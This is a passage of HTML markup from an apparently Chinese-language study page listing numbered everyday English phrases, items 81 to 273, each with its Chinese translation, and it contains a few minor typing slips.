宋体';line-height:1.8em;">我能帮你吗</span><wbr />?<br>81. Enjoy yourself! <span style="font-family:' 宋体';line-height:1.8em;">祝你玩得开心</span><wbr />!<br>82. Excuse me<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">Sir</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">先生，对不起。</span><wbr /><br>83. Give me a hand! <span style="font-family:' 宋体';line-height:1.8em;">帮帮我</span><wbr />!<br>84. How's it going? <span style="font-family:' 宋体';line-height:1.8em;">怎么样</span><wbr />?<br>85. I have no idea<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我没有头绪。</span><wbr /><br>86. I just made it! <span style="font-family:' 宋体';line-height:1.8em;">我做到了</span><wbr />!<br>87. I'll see to it <span style="font-family:' 宋体';line-height:1.8em;">我会留意的。</span><wbr /><br>88. I'm in a hurry! <span style="font-family:' 宋体';line-height:1.8em;">我在赶时间</span><wbr />!<br>89. It's her field<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这是她的本行。</span><wbr /><br>90. It's up to you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">由你决定。</span><wbr /><br>91. Just wonderful! <span style="font-family:' 宋体';line-height:1.8em;">简直太棒了</span><wbr />!<br>92. What about you? <span style="font-family:' 宋体';line-height:1.8em;">你呢</span><wbr />?<br>93. You owe me one<span style="font-family:' 宋体';line-height:1.8em;">．你欠我一个人情。</span><wbr /><br>94. You're welcome<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不客气。</span><wbr /><br>95. Any day will do<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">哪一天都行夕</span><wbr /><br>96. Are you kidding? <span style="font-family:' 宋体';line-height:1.8em;">你在开玩笑吧</span><wbr />!<br>97. Congratulations! <span style="font-family:' 宋体';line-height:1.8em;">祝贺你</span><wbr />!<br>98. T can't help it. <span style="font-family:' 宋体';line-height:1.8em;">我情不自禁。</span><wbr /><br>99. I don't mean it. <span style="font-family:' 宋体';line-height:1.8em;">我不是故意的。</span><wbr /><br>100. I'll fix you Up<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我会帮你打点的</span><wbr /><br>101. It sounds great!<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">听起来很不错。</span><wbr /><br>102. It's a fine day<span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">今天是个好天。</span><wbr /><br>103. So far<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">So good</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">目前还不错。</span><wbr /><br>104. What time is it? <span style="font-family:' 宋体';line-height:1.8em;">几点了</span><wbr />?<br>105. You can make it! <span style="font-family:' 宋体';line-height:1.8em;">你能做到</span><wbr />!<br>106. Control yourself! <span style="font-family:' 宋体';line-height:1.8em;">克制一下</span><wbr />!<br>107. He came by train<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他乘火车来。</span><wbr /><br>108. He is ill in bed<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他卧病在床。</span><wbr /><br>109. He lacks courage<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他缺乏勇气。</span><wbr /><br>110. How's everything? <span style="font-family:' 宋体';line-height:1.8em;">一切还好吧</span><wbr />?<br>111. I have no choice<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我别无选择。</span><wbr /><br>112. I like ice-cream<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我喜欢吃冰淇淋。</span><wbr /><br>113. I love this game<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我钟爱这项运动。</span><wbr /><br>114. I'll try my best<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我尽力而为。</span><wbr /><br>115. I'm On your side<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我全力支持你。</span><wbr /><br>116. Long time no see! <span style="font-family:' 宋体';line-height:1.8em;">好久不见</span><wbr />!<br>117. No pain<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">no gain</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不劳无获。</span><wbr /><br>118. Well<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">it depends </span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">噢，这得看情况。</span><wbr /><br>119. We're all for it<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我们全都同意。</span><wbr /><br>120. What a good deal! <span style="font-family:' 宋体';line-height:1.8em;">真便宜</span><wbr />!<br>121. What should I do? <span style="font-family:' 宋体';line-height:1.8em;">我该怎么办？</span><wbr /><br>122. You asked for it! <span style="font-family:' 宋体';line-height:1.8em;">你自讨苦吃</span><wbr />!<br>123. You have my word<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我保证。</span><wbr /><br>124. Believe it or not! <span style="font-family:' 宋体';line-height:1.8em;">信不信由你</span><wbr />!<br>125. Don't count on me<span style="font-family:' 宋体';line-height:1.8em;">．别指望我。</span><wbr /><br>126. Don't fall for it! <span style="font-family:' 宋体';line-height:1.8em;">别上当</span><wbr />!<br>127. Don't let me down<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别让我失望。</span><wbr /><br>128. Easy come easy go<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">来得容易，去得快。</span><wbr /><br>129. I beg your pardon<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">请你原谅。</span><wbr /><br>130. I beg your pardon? <span style="font-family:' 宋体';line-height:1.8em;">请您再说一遍</span><wbr /><span style="line-height:1.8em;">(</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我没有听清</span><wbr /><span style="line-height:1.8em;">)</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /><br>131. I'll be back soon<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我马上回来。</span><wbr /><br>132. I'll check it out<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我去查查看。</span><wbr /><br>133. It’s a long story<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">说来话长。</span><wbr /><br>134. It’s Sunday today<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">今天是星期天。</span><wbr /><br>135. Just wait and see! <span style="font-family:' 宋体';line-height:1.8em;">等着瞧</span><wbr />!<br>136. Make up your mind<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">做个决定吧。</span><wbr /><br>137. That's all I need<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我就要这些。</span><wbr /><br>138. The view is great<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">景色多么漂亮</span><wbr />!<br>139. The wall has ears<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">隔墙有耳。</span><wbr /><br>140. There comes a bus<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">汽车来了。</span><wbr /><br>141. What day is today? <span style="font-family:' 宋体';line-height:1.8em;">今天星期几</span><wbr />?<br>142. What do you think? <span style="font-family:' 宋体';line-height:1.8em;">你怎么认为？</span><wbr /><br>143. Who told you that? <span style="font-family:' 宋体';line-height:1.8em;">谁告诉你的</span><wbr />?<br>144. Who's kicking off? <span style="font-family:' 宋体';line-height:1.8em;">现在是谁在开球</span><wbr />?<br>145. Yes<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">I suppose So</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">是的，我也这么认为。</span><wbr /><br>146. You can't miss it <span style="font-family:' 宋体';line-height:1.8em;">你一定能找到的。</span><wbr /><br>147. Any messages for me? <span style="font-family:' 宋体';line-height:1.8em;">有我的留言吗</span><wbr />?<br>148. Don't be so modest<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别谦虚了。</span><wbr /><br>149. Don't give me that! <span style="font-family:' 宋体';line-height:1.8em;">少来这套</span><wbr />!<br>150. He is a smart boy<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他是个小机灵鬼。</span><wbr /><br>151. He is just a child<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他只是个孩子。</span><wbr /><br>152. I can't follow you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我不懂你说的。</span><wbr /><br>153. I felt sort of ill. <span style="font-family:' 宋体';line-height:1.8em;">我感觉有点不适。</span><wbr /><br>154. I have a good idea! <span style="font-family:' 宋体';line-height:1.8em;">我有一个好主意。</span><wbr /><br>155. It is growing cool<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">天气渐渐凉爽起来。</span><wbr /><br>156. It seems all right<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">看来这没问题。</span><wbr /><br>157. It's going too far<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">太离谱了。</span><wbr /><br>158. May I use your pen? <span style="font-family:' 宋体';line-height:1.8em;">我可以用你的笔吗</span><wbr />?<br>159. She had a bad cold<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">她患了重感冒。</span><wbr /><br>160. That's a good idea<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这个主意真不错。</span><wbr /><br>161. The answer is zero<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">白忙了。</span><wbr /><br>162. What does she like? <span style="font-family:' 宋体';line-height:1.8em;">她喜欢什么</span><wbr />?<br>163. As soon as possible! <span style="font-family:' 宋体';line-height:1.8em;">越快越好</span><wbr />!<br>164. He can hardly speak<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他几乎说不出话来。</span><wbr /><br>165. He always talks big<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他总是吹牛。</span><wbr /><br>166. He won an election<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他在选举中获胜。</span><wbr /><br>167. I am a football fan<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我是个足球迷。</span><wbr /><br>168. If only I could fly<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">要是我能飞就好了。</span><wbr /><br>169. I'll be right there<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我马上就到。</span><wbr /><br>170. I'll see you at six<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我六点钟见你。</span><wbr /><br>171. IS it true or false? <span style="font-family:' 宋体';line-height:1.8em;">这是对的还是错的</span><wbr />?<br>172. Just read it for me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">就读给我听好了。</span><wbr /><br>173. Knowledge is power<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">知识就是力量。</span><wbr /><br>174. Move out of my way! <span style="font-family:' 宋体';line-height:1.8em;">让开</span><wbr />!<br>175. Time is running out<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">没时间了。</span><wbr /><br>176. We are good friends<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我们是好朋友。</span><wbr /><br>177. What's your trouble? <span style="font-family:' 宋体';line-height:1.8em;">你哪儿不舒服</span><wbr />?<br>178. You did fairly well! <span style="font-family:' 宋体';line-height:1.8em;">你干得相当不错</span><wbr />1<br>179. Clothes make the man<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">人要衣装。</span><wbr /><br>180. Did you miss the bus? <span style="font-family:' 宋体';line-height:1.8em;">你错过公共汽车了</span><wbr />?<br>181. Don't lose your head<span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">不要惊慌失措。</span><wbr /><br>182. He can't take a joke<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他开不得玩笑。</span><wbr /><br>183. He owes my uncle $100<span style="font-family:' 宋体';line-height:1.8em;">．他欠我叔叔</span><wbr /><span style="line-height:1.8em;">100</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">美元。</span><wbr /><br>184. How are things going? <span style="font-family:' 宋体';line-height:1.8em;">事情进展得怎样</span><wbr />?<br>185. How are you recently? <span style="font-family:' 宋体';line-height:1.8em;">最近怎么样</span><wbr />?<br>186. I know all about it<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我知道有关它的一切。</span><wbr /><br>187. It really takes time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这样太耽误时间了。</span><wbr /><br>188. It's against the law<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这是违法的。</span><wbr /><br>189. Love me<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">love my dog</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="line-height:1.8em;"> (</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">谚语</span><wbr /><span style="line-height:1.8em;">)</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">爱屋及乌。</span><wbr /><br>190. My mouth is watering<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我要流口水了。</span><wbr /><br>191. Speak louder<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">please</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">说话请大声点儿。</span><wbr /><br>192. This boy has no job<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这个男孩没有工作。</span><wbr /><br>193. This house is my own<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这所房子是我自己的。</span><wbr /><br>194. What happened to you? <span style="font-family:' 宋体';line-height:1.8em;">你怎么了</span><wbr />?<br>195. You are just in time. <span style="font-family:' 宋体';line-height:1.8em;">你来得正是时候。</span><wbr /><br>196. You need to workout<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你需要去运动锻炼一下。</span><wbr /><br>197. Your hand feels cold<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你的手摸起来很冷。。</span><wbr /><br>198. Don't be so childish. <span style="font-family:' 宋体';line-height:1.8em;">别这么孩子气。</span><wbr /><br>199. Don't trust to chance! <span style="font-family:' 宋体';line-height:1.8em;">不要碰运气。</span><wbr /><br>200. Fasten your seat belt<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">系好你的安全带。</span><wbr /><br><br><br>201. He has a large income. <span style="font-family:' 宋体';line-height:1.8em;">他有很高的收入。</span><wbr /><br>202. He looks very healthy<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他看来很健康。</span><wbr /><br>203. He paused for a reply<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他停下来等着</span><wbr /><span style="line-height:1.8em;">·</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">回答。</span><wbr /><br>204. He repaired his house<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他修理了他的房子。</span><wbr /><br>205. He suggested a picnic. <span style="font-family:' 宋体';line-height:1.8em;">他建议搞一次野餐。</span><wbr /><br>206. Here's a gift for you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这里有个礼物送给你。</span><wbr /><br>207. How much does it cost? <span style="font-family:' 宋体';line-height:1.8em;">多少钱</span><wbr />?<br>208. I caught the last bus. <span style="font-family:' 宋体';line-height:1.8em;">我赶上了最后一班车。</span><wbr /><br>209. I could hardly speak<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我简直说不出话来。</span><wbr /><br>210. I'll have to try that<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我得试试这么做。</span><wbr /><br>211. I'm very proud of you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我为你感到非常骄傲。</span><wbr /><br>212. It doesn't make sense. <span style="font-family:' 宋体';line-height:1.8em;">这没有意义</span><wbr /><span style="line-height:1.8em;">(</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">不合常理</span><wbr /><span style="line-height:1.8em;">)</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /><br>213. Make yourself at home<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">请不要拘礼。</span><wbr /><br>214. My car needs washing<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我的车需要洗一洗。</span><wbr /><br>215. None of your business! <span style="font-family:' 宋体';line-height:1.8em;">与你无关</span><wbr />!<br>216. Not a sound was heard. <span style="font-family:' 宋体';line-height:1.8em;">一点声音也没有。</span><wbr /><br>217. That's always the case<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">习以为常了。</span><wbr /><br>218. The road divides here. <span style="font-family:' 宋体';line-height:1.8em;">这条路在这里分岔。</span><wbr /><br>219. Those are watermelons<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">那些是西瓜。</span><wbr /><br>220. What a nice day it is! <span style="font-family:' 宋体';line-height:1.8em;">今天天气真好</span><wbr />!<br>221. What's wrong with you? <span style="font-family:' 宋体';line-height:1.8em;">你哪里不对劲</span><wbr />?<br>222. You are a chicken<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你是个胆小鬼。</span><wbr /><br>223. A lovely day<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">isn't it? </span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">好天气，是吗</span><wbr />?<br>224. He is collecting money<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他在筹集资金。</span><wbr /><br>225. He was born in New York<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他出生在纽约。</span><wbr /><br>226. He was not a bit tired<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他一点也不累。</span><wbr /><br>227. I will be more careful<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我会小心一些的，</span><wbr /><br>228. I will never forget it<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我会记着的。</span><wbr /><br>229. It is Just what I need<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这正是我所需要的。</span><wbr /><br>230. It rather surprised me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">那事使我颇感惊讶。</span><wbr /><br>231. Just around the comer<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">就在附近。</span><wbr /><br>232. Just for entertainment<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">只是为了消遣一下。</span><wbr /><br>233. Let bygones be bygones<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">过去的，就让它过去吧。</span><wbr /><br>234. Mother doesn't make up<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">妈妈不化妆。</span><wbr /><br>235. Oh<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">you arekidding me</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">哦，你别拿我开玩笑了。</span><wbr /><br>236. She has been to school. <span style="font-family:' 宋体';line-height:1.8em;">她上学去了。</span><wbr /><br>237. Skating is interesting<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">滑冰很有趣。</span><wbr /><br>238. Supper is ready at six<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">晚餐六点钟就好了。</span><wbr /><br>239. That's a terrific idea! <span style="font-family:' 宋体';line-height:1.8em;">真是好主意</span><wbr />!<br>240. What horrible weather! <span style="font-family:' 宋体';line-height:1.8em;">这鬼天气</span><wbr />!<br>241. Which would you prefer? <span style="font-family:' 宋体';line-height:1.8em;">你要选哪个</span><wbr />?<br>242. Does she like ice-cream? <span style="font-family:' 宋体';line-height:1.8em;">她喜欢吃冰淇淋吗</span><wbr />?<br>243. First come first served<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">先到先得。</span><wbr /><br>244. Great minds think alike<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">英雄所见略同。</span><wbr /><br>245. He has a sense of humor<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他有幽默感。</span><wbr /><br>246. He is acting an old man<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他正扮演一个老人。</span><wbr /><br>247. He is looking for a job<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他正在找工作。</span><wbr /><br>248. He doesn't care about me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他并不在乎我。</span><wbr /><br>249. I develop films myself<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我自己冲洗照片。</span><wbr /><br>250. I felt no regret for it<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">对这件事我不觉得后悔。</span><wbr /><br>251. I get up at six o'clock<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我六点起床。</span><wbr /><br>252. I meet the boss himself<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我见到了老板本人。</span><wbr /><br>253. I owe you for my dinner. <span style="font-family:' 宋体';line-height:1.8em;">我欠你晚餐的钱。</span><wbr /><br>254. I really enjoyed myself<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我玩得很开心。</span><wbr /><br>255. I'm fed up with my work! <span style="font-family:' 宋体';line-height:1.8em;">我对工作烦死了</span><wbr />!<br>256. It's no use complaining. <span style="font-family:' 宋体';line-height:1.8em;">发牢骚没什么用。</span><wbr /><br>257. She's under the weather<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">她心情</span><wbr /><span style="line-height:1.8em;">·</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">不好。</span><wbr /><br>258. The child sobbed sadly<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">小孩伤心地抽泣着。</span><wbr /><br>259. The rumor had no basis<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">那谣言没有</span><wbr /><span style="line-height:1.8em;">·</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">根据。</span><wbr /><br>260. They praised him highly<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他们大大地表扬了他。</span><wbr /><br>261. Winter is a cold season. <span style="font-family:' 宋体';line-height:1.8em;">冬天是一个，寒冷的季节。</span><wbr /><br>262. You can call me any time<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你可以随时打电话给我。</span><wbr /><br>263. 15 divided by3 equals 5<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="line-height:1.8em;"> 15</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">除以</span><wbr /><span style="line-height:1.8em;">3</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">等于</span><wbr /><span style="line-height:1.8em;">5</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /><br>264. All for one<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">one for all</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我为人人，人人为我。</span><wbr /><br>265. East,west<span style="font-family:' 宋体';line-height:1.8em;">，</span><wbr /><span style="line-height:1.8em;">home is best</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">金窝，银窝，不如自己的草窝。</span><wbr /><br>266. He grasped both my hands. <span style="font-family:' 宋体';line-height:1.8em;">他紧握住我的双手。</span><wbr /><br>267. He is physically mature<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他身体己发育成熟。</span><wbr /><br>268. I am so sorry about this. <span style="font-family:' 宋体';line-height:1.8em;">对此我非常抱歉</span><wbr /><span style="line-height:1.8em;">(</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">遗憾</span><wbr /><span style="line-height:1.8em;">)</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /><br>269. I can't afford a new car<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我买不起一部新车。</span><wbr /><br>270. I do want to see him now<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我现在确实很想去见他。</span><wbr /><br>271. I have the right to know. <span style="font-family:' 宋体';line-height:1.8em;">我有权知道。</span><wbr /><br>272. I heard some one laughing. <span style="font-family:' 宋体';line-height:1.8em;">我听见有人在笑。</span><wbr /><br>273. I suppose you dance much<span style="font-family:' 